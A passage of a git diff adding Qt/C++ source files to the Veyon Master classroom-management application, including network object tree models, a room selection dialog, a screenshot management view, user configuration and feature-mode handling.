) const +{ + // parent ID set? + if( index.internalId() > 0 ) + { + // use it as row index + return createIndex( static_cast(index.internalId()) - 1, 0 ); + } + + return QModelIndex(); +} + + + +int NetworkObjectTreeModel::rowCount( const QModelIndex& parent ) const +{ + if( !parent.isValid() ) + { + return m_directory->objects( NetworkObject( NetworkObject::Root ) ).count(); + } + + if( parent.internalId() == 0 ) + { + const auto rootObjects = m_directory->objects( NetworkObject( NetworkObject::Root ) ); + const NetworkObject groupObject = rootObjects[parent.row()]; + + return m_directory->objects( groupObject ).count(); + } + + return 0; +} + + + +int NetworkObjectTreeModel::columnCount( const QModelIndex& parent ) const +{ + Q_UNUSED(parent) + + return 1; +} + + + +QVariant NetworkObjectTreeModel::headerData( int section, Qt::Orientation orientation, int role ) const +{ + if( section == 0 && orientation == Qt::Horizontal && role == Qt::DisplayRole ) + { + return tr( "Room/Computer" ); + } + + return QVariant(); +} + + + +QVariant NetworkObjectTreeModel::data( const QModelIndex& index, int role ) const +{ + if( index.isValid() == false ) + { + return QVariant(); + } + + NetworkObject networkObject; + + const auto rootObjects = m_directory->objects( NetworkObject( NetworkObject::Root ) ); + + if( index.internalId() > 0 ) + { + const auto& groupObject = rootObjects[static_cast(index.internalId())-1]; + const auto groupObjects = m_directory->objects( groupObject ); + + networkObject = groupObjects[index.row()]; + } + else + { + networkObject = rootObjects[index.row()]; + } + + switch( role ) + { + case UidRole: return networkObject.uid(); + case NameRole: return networkObject.name(); + case TypeRole: return networkObject.type(); + case HostAddressRole: return networkObject.hostAddress(); + case MacAddressRole: return networkObject.macAddress(); + case DirectoryAddressRole: return networkObject.directoryAddress(); + default: break; + } + + return QVariant(); +} + + + +void NetworkObjectTreeModel::beginInsertObjects( const NetworkObject& parent, int index, int count ) +{ + if( parent.type() == NetworkObject::Root ) + { + beginInsertRows( createIndex( -1, -1 ), index, index+count-1 ); + } + else if( parent.type() == NetworkObject::Group ) + { + int groupIndex = 0; + const auto rootObjects = m_directory->objects( NetworkObject( NetworkObject::Root ) ); + for( const auto& groupObject : rootObjects ) + { + if( groupObject == parent ) + { + beginInsertRows( createIndex( groupIndex, 0 ), index, index+count-1 ); + break; + } + ++groupIndex; + } + } +} + + + +void NetworkObjectTreeModel::endInsertObjects() +{ + endInsertRows(); +} + + + +void NetworkObjectTreeModel::beginRemoveObjects( const NetworkObject& parent, int index, int count ) +{ + if( parent.type() == NetworkObject::Root ) + { + beginRemoveRows( createIndex( -1, -1 ), index, index+count-1 ); + } + else if( parent.type() == NetworkObject::Group ) + { + int groupIndex = 0; + const auto rootObjects = m_directory->objects( NetworkObject( NetworkObject::Root ) ); + for( const auto& groupObject : rootObjects ) + { + if( groupObject == parent ) + { + beginRemoveRows( createIndex( groupIndex, 0 ), index, index+count-1 ); + break; + } + ++groupIndex; + } + } +} + + + +void NetworkObjectTreeModel::endRemoveObjects() +{ + endRemoveRows(); +} + + + +void NetworkObjectTreeModel::updateObject( const NetworkObject& parent, int row ) +{ + const auto index = objectIndex( parent, row ); + + emit dataChanged( index, index ); +} + + + +QModelIndex NetworkObjectTreeModel::objectIndex( const NetworkObject& parent, int row ) const +{ + if( parent.type() == NetworkObject::Root ) + { + return index( row, 0 ); + } + else if( parent.type() == NetworkObject::Group ) + { + int groupIndex = 0; + const auto rootObjects = m_directory->objects( NetworkObject( NetworkObject::Root ) ); + for( const auto& groupObject : rootObjects ) + { + if( groupObject == parent ) + { + auto parentIndex = createIndex( groupIndex, 0 ); + return index( row, 0, parentIndex ); + } + ++groupIndex; + } + } + + return QModelIndex(); +} diff --git a/master/src/NetworkObjectTreeModel.h b/master/src/NetworkObjectTreeModel.h new file mode 100644 index 0000000..534f02c --- /dev/null +++ b/master/src/NetworkObjectTreeModel.h @@ -0,0 +1,66 @@ +/* + * NetworkObjectTreeModel.h - data model returning hierarchically grouped network objects + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef NETWORK_OBJECT_TREE_MODEL_H +#define NETWORK_OBJECT_TREE_MODEL_H + +#include "NetworkObjectModel.h" + +class NetworkObjectDirectory; + +class NetworkObjectTreeModel : public NetworkObjectModel +{ + Q_OBJECT +public: + NetworkObjectTreeModel( NetworkObjectDirectory* directory, QObject *parent = nullptr); + + QModelIndex index( int row, int column, + const QModelIndex& parent = QModelIndex() ) const override; + QModelIndex parent( const QModelIndex& index ) const override; + + int rowCount( const QModelIndex& parent = QModelIndex() ) const override; + int columnCount( const QModelIndex& parent = QModelIndex() ) const override; + + QVariant headerData( int section, Qt::Orientation orientation, int role = Qt::DisplayRole ) const override; + + QVariant data( const QModelIndex& index, int role = Qt::DisplayRole ) const override; + + +private slots: + void beginInsertObjects( const NetworkObject& parent, int index, int count ); + void endInsertObjects(); + + void beginRemoveObjects( const NetworkObject& parent, int index, int count ); + void endRemoveObjects(); + + void updateObject( const NetworkObject& parent, int index ); + +private: + QModelIndex objectIndex( const NetworkObject& parent, int row ) const; + + NetworkObjectDirectory* m_directory; + +}; + +#endif // NETWORK_OBJECT_TREE_MODEL_H diff --git a/master/src/RecursiveFilterProxyModel.cpp b/master/src/RecursiveFilterProxyModel.cpp new file mode 100644 index 0000000..e7584d0 --- /dev/null +++ b/master/src/RecursiveFilterProxyModel.cpp @@ -0,0 +1,53 @@ +/* + * RecursiveFilterProxyModel.cpp - proxy model for recursive filtering + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "RecursiveFilterProxyModel.h" + +RecursiveFilterProxyModel::RecursiveFilterProxyModel( QObject* parent ) : + QSortFilterProxyModel( parent ) +{ +} + + + +bool RecursiveFilterProxyModel::filterAcceptsRow( int sourceRow, const QModelIndex& sourceParent ) const +{ + if( sourceParent.isValid() ) + { + return QSortFilterProxyModel::filterAcceptsRow( sourceRow, sourceParent ); + } + + const auto rowIndex = sourceModel()->index( sourceRow, 0, sourceParent ); + const auto rowCount = sourceModel()->rowCount( rowIndex ); + + for( int i = 0; i < rowCount; ++i ) + { + if( filterAcceptsRow( i, rowIndex ) ) + { + return true; + } + } + + return false; +} diff --git a/master/src/RecursiveFilterProxyModel.h b/master/src/RecursiveFilterProxyModel.h new file mode 100644 index 0000000..fc4ffae --- /dev/null +++ b/master/src/RecursiveFilterProxyModel.h @@ -0,0 +1,40 @@ +/* + * RecursiveFilterProxyModel.h - proxy model for recursive filtering + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef RECURSIVE_FILTER_PROXY_MODEL_H +#define RECURSIVE_FILTER_PROXY_MODEL_H + +#include + +class RecursiveFilterProxyModel : public QSortFilterProxyModel +{ + Q_OBJECT +public: + RecursiveFilterProxyModel( QObject* parent = nullptr ); + + bool filterAcceptsRow( int sourceRow, const QModelIndex& sourceParent ) const override; + +}; + +#endif // RECURSIVE_FILTER_PROXY_MODEL_H diff --git a/master/src/RoomSelectionDialog.cpp b/master/src/RoomSelectionDialog.cpp new file mode 100644 index 0000000..d0fccd2 --- /dev/null +++ b/master/src/RoomSelectionDialog.cpp @@ -0,0 +1,70 @@ +/* + * RoomSelectionDialog.cpp - header file for RoomSelectionDialog + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "RoomSelectionDialog.h" + +#include "ui_RoomSelectionDialog.h" + +RoomSelectionDialog::RoomSelectionDialog( QAbstractItemModel* roomListModel, QWidget* parent ) : + QDialog( parent ), + ui( new Ui::RoomSelectionDialog ), + m_sortFilterProxyModel( this ) +{ + ui->setupUi( this ); + + m_sortFilterProxyModel.setSourceModel( roomListModel ); + m_sortFilterProxyModel.sort( 0 ); + + ui->listView->setModel( &m_sortFilterProxyModel ); + + connect( ui->listView->selectionModel(), &QItemSelectionModel::currentChanged, + this, &RoomSelectionDialog::updateSelection ); + + updateSearchFilter(); +} + + + +RoomSelectionDialog::~RoomSelectionDialog() +{ + delete ui; +} + + + +void RoomSelectionDialog::updateSearchFilter() +{ + m_sortFilterProxyModel.setFilterRegExp( QRegExp( ui->filterLineEdit->text() ) ); + m_sortFilterProxyModel.setFilterCaseSensitivity( Qt::CaseInsensitive ); + + ui->listView->selectionModel()->setCurrentIndex( m_sortFilterProxyModel.index( 0, 0 ), + QItemSelectionModel::ClearAndSelect ); +} + + + +void RoomSelectionDialog::updateSelection( const QModelIndex& current, const QModelIndex& previous ) +{ + m_selectedRoom = m_sortFilterProxyModel.data( current ).toString(); +} diff --git a/master/src/RoomSelectionDialog.h b/master/src/RoomSelectionDialog.h new file mode 100644 index 0000000..63a4cde --- /dev/null +++ b/master/src/RoomSelectionDialog.h @@ -0,0 +1,58 @@ +/* + * RoomSelectionDialog.h - header file for RoomSelectionDialog + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ROOM_SELECTION_DIALOG_H +#define ROOM_SELECTION_DIALOG_H + +#include +#include + +namespace Ui { +class RoomSelectionDialog; +} + +class RoomSelectionDialog : public QDialog +{ + Q_OBJECT +public: + RoomSelectionDialog( QAbstractItemModel* roomListModel, QWidget *parent = nullptr ); + ~RoomSelectionDialog() override; + + const QString& selectedRoom() const + { + return m_selectedRoom; + } + +private slots: + void updateSearchFilter(); + void updateSelection( const QModelIndex& current, const QModelIndex& previous ); + +private: + Ui::RoomSelectionDialog *ui; + + QSortFilterProxyModel m_sortFilterProxyModel; + QString m_selectedRoom; +}; + +#endif // ROOM_SELECTION_DIALOG_H diff --git a/master/src/ScreenshotManagementView.cpp b/master/src/ScreenshotManagementView.cpp new file mode 100644 index 0000000..879a3dd --- /dev/null +++ b/master/src/ScreenshotManagementView.cpp @@ -0,0 +1,138 @@ +/* + * ScreenshotManagementView.cpp - implementation of screenshot management view + * + * Copyright (c) 2004-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "Filesystem.h" +#include "ScreenshotManagementView.h" +#include "VeyonConfiguration.h" +#include "VeyonCore.h" +#include "Screenshot.h" + +#include "ui_ScreenshotManagementView.h" + + +ScreenshotManagementView::ScreenshotManagementView( QWidget *parent ) : + QWidget( parent ), + ui( new Ui::ScreenshotManagementView ), + m_fsModel( this ) +{ + ui->setupUi( this ); + + VeyonCore::filesystem().ensurePathExists( VeyonCore::config().screenshotDirectory() ); + + m_fsModel.setNameFilters( { QStringLiteral("*.png") } ); + m_fsModel.setFilter( QDir::AllDirs | QDir::NoDotAndDotDot | QDir::Files ); + m_fsModel.setRootPath( VeyonCore::filesystem().expandPath( VeyonCore::config().screenshotDirectory() ) ); + + ui->list->setModel( &m_fsModel ); + ui->list->setRootIndex( m_fsModel.index( m_fsModel.rootPath() ) ); + + connect( ui->list, &QListView::clicked, this, &ScreenshotManagementView::screenshotSelected ); + connect( ui->list, &QListView::doubleClicked, this, &ScreenshotManagementView::showScreenshot ); + + connect( ui->showBtn, &QPushButton::clicked, this, &ScreenshotManagementView::showScreenshot ); + connect( ui->deleteBtn, &QPushButton::clicked, this, &ScreenshotManagementView::deleteScreenshot ); +} + + + + +ScreenshotManagementView::~ScreenshotManagementView() +{ + delete ui; +} + + + +void ScreenshotManagementView::resizeEvent( QResizeEvent* event ) +{ + int maxWidth = contentsRect().width(); + int maxHeight = maxWidth * 9 / 16; + + ui->previewLbl->setMaximumSize( maxWidth, maxHeight ); + + QWidget::resizeEvent( event ); +} + + + + +void ScreenshotManagementView::screenshotSelected( const QModelIndex &idx ) +{ + Screenshot s( m_fsModel.filePath( idx ) ); + + ui->previewLbl->setPixmap( s.pixmap() ); + + ui->userLbl->setText( s.user() ); + ui->hostLbl->setText( s.host() ); + ui->dateLbl->setText( s.date() ); + ui->timeLbl->setText( s.time() ); +} + + + + +void ScreenshotManagementView::screenshotDoubleClicked( const QModelIndex &idx ) +{ + auto imgLabel = new QLabel; + imgLabel->setPixmap( m_fsModel.filePath( idx ) ); + if( imgLabel->pixmap() != nullptr ) + { + imgLabel->setFixedSize( imgLabel->pixmap()->width(), + imgLabel->pixmap()->height() ); + } + + auto sa = new QScrollArea; + sa->setAttribute( Qt::WA_DeleteOnClose, true ); + sa->move( 0, 0 ); + sa->setWidget( imgLabel ); + sa->setWindowTitle( m_fsModel.fileName( idx ) ); + sa->show(); +} + + + + +void ScreenshotManagementView::showScreenshot() +{ + if( ui->list->currentIndex().isValid() ) + { + screenshotDoubleClicked( ui->list->currentIndex() ); + } +} + + + + +void ScreenshotManagementView::deleteScreenshot() +{ + if( ui->list->currentIndex().isValid() ) + { + m_fsModel.remove( ui->list->currentIndex() ); + } +} diff --git a/master/src/ScreenshotManagementView.h b/master/src/ScreenshotManagementView.h new file mode 100644 index 0000000..296cfe8 --- /dev/null +++ b/master/src/ScreenshotManagementView.h @@ -0,0 +1,62 @@ +/* + * ScreenshotManagementView.h - declaration of screenshot management view + * + * Copyright (c) 2004-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SCREENSHOT_MANAGEMENT_VIEW_H +#define SCREENSHOT_MANAGEMENT_VIEW_H + +#include +#include + +class QModelIndex; + +namespace Ui { +class ScreenshotManagementView; +} + +class ScreenshotManagementView : public QWidget +{ + Q_OBJECT +public: + ScreenshotManagementView( QWidget *parent ); + ~ScreenshotManagementView() override; + + +protected: + void resizeEvent( QResizeEvent* event ) override; + +private slots: + void screenshotSelected( const QModelIndex &idx ); + void screenshotDoubleClicked( const QModelIndex &idx ); + + void showScreenshot(); + void deleteScreenshot(); + + +private: + Ui::ScreenshotManagementView* ui; + QFileSystemModel m_fsModel; + +} ; + +#endif diff --git a/master/src/UserConfig.cpp b/master/src/UserConfig.cpp new file mode 100644 index 0000000..a614548 --- /dev/null +++ b/master/src/UserConfig.cpp @@ -0,0 +1,45 @@ +/* + * UserConfig.cpp - Configuration object storing personal settings + * for the Veyon Master Application + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "VeyonCore.h" +#include "UserConfig.h" + +FOREACH_PERSONAL_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) + + +UserConfig::UserConfig( Configuration::Store::Backend backend ) : + Configuration::Object( backend, Configuration::Store::User, Configuration::Object(), QStringLiteral("VeyonMaster") ) +{ + if( isStoreWritable() == false ) + { + QMessageBox::information( nullptr, + tr( "No write access" ), + tr( "Could not save your personal settings! " + "Please check the user configuration " + "file path using the %1 Configurator." ).arg( VeyonCore::applicationName() ) ); + } +} diff --git a/master/src/UserConfig.h b/master/src/UserConfig.h new file mode 100644 index 0000000..4887639 --- /dev/null +++ b/master/src/UserConfig.h @@ -0,0 +1,67 @@ +/* + * UserConfig.h - UserConfig class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef USER_CONFIG_H +#define USER_CONFIG_H + +#include "Configuration/Object.h" + +// clazy:excludeall=ctor-missing-parent-argument,copyable-polymorphic + +class UserConfig : public Configuration::Object +{ + Q_OBJECT +public: + UserConfig( Configuration::Store::Backend backend ); + +#define FOREACH_PERSONAL_CONFIG_PROPERTY(OP) \ + OP( UserConfig, VeyonMaster::userConfig, JSONARRAY, checkedNetworkObjects, setCheckedNetworkObjects, "CheckedNetworkObjects", "UI" ); \ + OP( UserConfig, VeyonMaster::userConfig, JSONARRAY, computerPositions, setComputerPositions, "ComputerPositions", "UI" ); \ + OP( UserConfig, VeyonMaster::userConfig, BOOL, useCustomComputerPositions, setUseCustomComputerPositions, "UseCustomComputerPositions", "UI" ); \ + OP( UserConfig, VeyonMaster::userConfig, BOOL, filterPoweredOnComputers, setFilterPoweredOnComputers, "FilterPoweredOnComputers", "UI" ); \ + OP( UserConfig, VeyonMaster::userConfig, INT, monitoringScreenSize, setMonitoringScreenSize, "MonitoringScreenSize", "UI" ); \ + OP( UserConfig, VeyonMaster::userConfig, INT, defaultRole, setDefaultRole, "DefaultRole", "Authentication" ); \ + OP( UserConfig, VeyonMaster::userConfig, BOOL, toolButtonIconOnlyMode, setToolButtonIconOnlyMode, "ToolButtonIconOnlyMode", "UI" ); \ + OP( UserConfig, VeyonMaster::userConfig, BOOL, noToolTips, setNoToolTips, "NoToolTips", "UI" ); \ + OP( UserConfig, VeyonMaster::userConfig, STRING, windowState, setWindowState, "WindowState", "UI" ); \ + OP( UserConfig, VeyonMaster::userConfig, STRING, windowGeometry, setWindowGeometry, "WindowGeometry", "UI" ); \ + + FOREACH_PERSONAL_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + + +public slots: + void setCheckedNetworkObjects( const QJsonArray& ); + void setComputerPositions( const QJsonArray& ); + void setUseCustomComputerPositions( bool ); + void setFilterPoweredOnComputers( bool ); + void setMonitoringScreenSize( int ); + void setDefaultRole( int ); + void setToolButtonIconOnlyMode( bool ); + void setNoToolTips( bool ); + void setWindowState( const QString& ); + void setWindowGeometry( const QString& ); + +} ; + +#endif diff --git a/master/src/VeyonMaster.cpp b/master/src/VeyonMaster.cpp new file mode 100644 index 0000000..05fea01 --- /dev/null +++ b/master/src/VeyonMaster.cpp @@ -0,0 +1,246 @@ +/* + * VeyonMaster.cpp - management of application-global instances + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonMaster.h" +#include "BuiltinFeatures.h" +#include "ComputerControlListModel.h" +#include "ComputerSortFilterProxyModel.h" +#include "FeatureManager.h" +#include "VncConnection.h" +#include "VeyonConfiguration.h" +#include "VeyonConnection.h" +#include "MainWindow.h" +#include "ComputerManager.h" +#include "MonitoringMode.h" +#include "UserConfig.h" +#include "PluginManager.h" + + +VeyonMaster::VeyonMaster( QObject* parent ) : + QObject( parent ), + m_builtinFeatures( new BuiltinFeatures() ), + m_featureManager( new FeatureManager() ), + m_features( featureList() ), + m_userConfig( new UserConfig( Configuration::Store::JsonFile ) ), + m_computerManager( new ComputerManager( *m_userConfig, this ) ), + m_computerControlListModel( new ComputerControlListModel( this, this ) ), + m_computerSortFilterProxyModel( new ComputerSortFilterProxyModel( this ) ), + m_mainWindow( nullptr ), + m_currentMode( m_builtinFeatures->monitoringMode().feature().uid() ) +{ + if( VeyonCore::config().enforceSelectedModeForClients() ) + { + connect( m_computerControlListModel, &ComputerControlListModel::activeFeaturesChanged, + this, &VeyonMaster::enforceDesignatedMode ); + } + + connect( &VeyonCore::localComputerControlInterface(), &ComputerControlInterface::featureMessageReceived, + this, [=]( const FeatureMessage& featureMessage, ComputerControlInterface::Pointer computerControlInterface ) { + m_featureManager->handleFeatureMessage( *this, featureMessage, computerControlInterface ); + } ); + + VeyonCore::localComputerControlInterface().start( QSize(), m_builtinFeatures ); + + // attach computer list model to proxy model + m_computerSortFilterProxyModel->setSourceModel( m_computerControlListModel ); + m_computerSortFilterProxyModel->setSortRole( Qt::InitialSortOrderRole ); + m_computerSortFilterProxyModel->setStateRole( ComputerControlListModel::StateRole ); + m_computerSortFilterProxyModel->sort( 0 ); + + m_mainWindow = new MainWindow( *this ); +} + + + +VeyonMaster::~VeyonMaster() +{ + stopAllModeFeatures( m_computerControlListModel->computerControlInterfaces() ); + + delete m_mainWindow; + + delete m_computerManager; + + m_userConfig->flushStore(); + delete m_userConfig; + + delete m_featureManager; + + delete m_builtinFeatures; +} + + + +FeatureList VeyonMaster::subFeatures( Feature::Uid parentFeatureUid ) const +{ + FeatureList features; + + const auto disabledFeatures = VeyonCore::config().disabledFeatures(); + const auto pluginUids = VeyonCore::pluginManager().pluginUids(); + + for( const auto& pluginUid : pluginUids ) + { + for( const auto& feature : m_featureManager->features( pluginUid ) ) + { + if( feature.testFlag( Feature::Master ) && + feature.parentUid() == parentFeatureUid && + disabledFeatures.contains( parentFeatureUid.toString() ) == false ) + { + features += feature; + } + } + } + + return features; +} + + + +QWidget* VeyonMaster::mainWindow() +{ + return m_mainWindow; +} + + + +ComputerControlInterfaceList VeyonMaster::filteredComputerControlInterfaces() +{ + ComputerControlInterfaceList computerControlInterfaces; + + for( int i = 0; i < m_computerSortFilterProxyModel->rowCount(); ++i ) + { + const auto index = m_computerSortFilterProxyModel->index( i, 0 ); + const auto sourceIndex = m_computerSortFilterProxyModel->mapToSource( index ); + computerControlInterfaces.append( m_computerControlListModel->computerControlInterface( sourceIndex ) ); + } + + return computerControlInterfaces; +} + + + +void VeyonMaster::runFeature( const Feature& feature ) +{ + const auto computerControlInterfaces = filteredComputerControlInterfaces(); + + if( feature.testFlag( Feature::Mode ) ) + { + stopAllModeFeatures( computerControlInterfaces ); + + if( m_currentMode == feature.uid() ) + { + const Feature& monitoringModeFeature = m_builtinFeatures->monitoringMode().feature(); + + m_featureManager->startFeature( *this, monitoringModeFeature, computerControlInterfaces ); + m_currentMode = monitoringModeFeature.uid(); + } + else + { + m_featureManager->startFeature( *this, feature, computerControlInterfaces ); + m_currentMode = feature.uid(); + } + } + else + { + m_featureManager->startFeature( *this, feature, computerControlInterfaces ); + } +} + + + +void VeyonMaster::enforceDesignatedMode( const QModelIndex& index ) +{ + auto controlInterface = m_computerControlListModel->computerControlInterface( index ); + if( controlInterface ) + { + auto designatedModeFeature = m_featureManager->feature( controlInterface->designatedModeFeature() ); + + // stop all other active mode feature + for( const auto& currentFeature : features() ) + { + if( currentFeature.testFlag( Feature::Mode ) && currentFeature != designatedModeFeature ) + { + featureManager().stopFeature( *this, currentFeature, { controlInterface } ); + } + } + + if( designatedModeFeature != m_builtinFeatures->monitoringMode().feature() ) + { + featureManager().startFeature( *this, designatedModeFeature, { controlInterface } ); + } + } +} + + + +void VeyonMaster::stopAllModeFeatures( const ComputerControlInterfaceList& computerControlInterfaces ) +{ + // stop any previously active featues + for( const auto& feature : qAsConst( features() ) ) + { + if( feature.testFlag( Feature::Mode ) ) + { + m_featureManager->stopFeature( *this, feature, computerControlInterfaces ); + } + } +} + + + +FeatureList VeyonMaster::featureList() const +{ + FeatureList features; + + const auto disabledFeatures = VeyonCore::config().disabledFeatures(); + const auto pluginUids = VeyonCore::pluginManager().pluginUids(); + + for( const auto& pluginUid : pluginUids ) + { + for( const auto& feature : m_featureManager->features( pluginUid ) ) + { + if( feature.testFlag( Feature::Master ) && + feature.testFlag( Feature::Mode ) && + feature.parentUid().isNull() && + disabledFeatures.contains( feature.uid().toString() ) == false ) + { + features += feature; + } + } + } + + for( const auto& pluginUid : pluginUids ) + { + for( const auto& feature : m_featureManager->features( pluginUid ) ) + { + if( feature.testFlag( Feature::Master ) && + feature.testFlag( Feature::Mode ) == false && + feature.parentUid().isNull() && + disabledFeatures.contains( feature.uid().toString() ) == false ) + { + features += feature; + } + } + } + + return features; +} diff --git a/master/src/VeyonMaster.h b/master/src/VeyonMaster.h new file mode 100644 index 0000000..9d96718 --- /dev/null +++ b/master/src/VeyonMaster.h @@ -0,0 +1,120 @@ +/* + * VeyonMaster.h - global instances + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef MASTER_CORE_H +#define MASTER_CORE_H + +#include + +#include "Feature.h" +#include "Computer.h" +#include "ComputerControlInterface.h" +#include "VeyonMasterInterface.h" + +class QModelIndex; + +class BuiltinFeatures; +class ComputerControlListModel; +class ComputerManager; +class ComputerSortFilterProxyModel; +class FeatureManager; +class MainWindow; +class UserConfig; + +class VeyonMaster : public QObject, public VeyonMasterInterface +{ + Q_OBJECT +public: + VeyonMaster( QObject* parent = nullptr ); + ~VeyonMaster() override; + + BuiltinFeatures& builtinFeatures() + { + return *m_builtinFeatures; + } + + FeatureManager& featureManager() + { + return *m_featureManager; + } + + UserConfig& userConfig() + { + return *m_userConfig; + } + + ComputerManager& computerManager() + { + return *m_computerManager; + } + + ComputerControlListModel& computerControlListModel() + { + return *m_computerControlListModel; + } + + ComputerSortFilterProxyModel& computerSortFilterProxyModel() + { + return *m_computerSortFilterProxyModel; + } + + const FeatureList& features() const + { + return m_features; + } + + FeatureList subFeatures( Feature::Uid parentFeatureUid 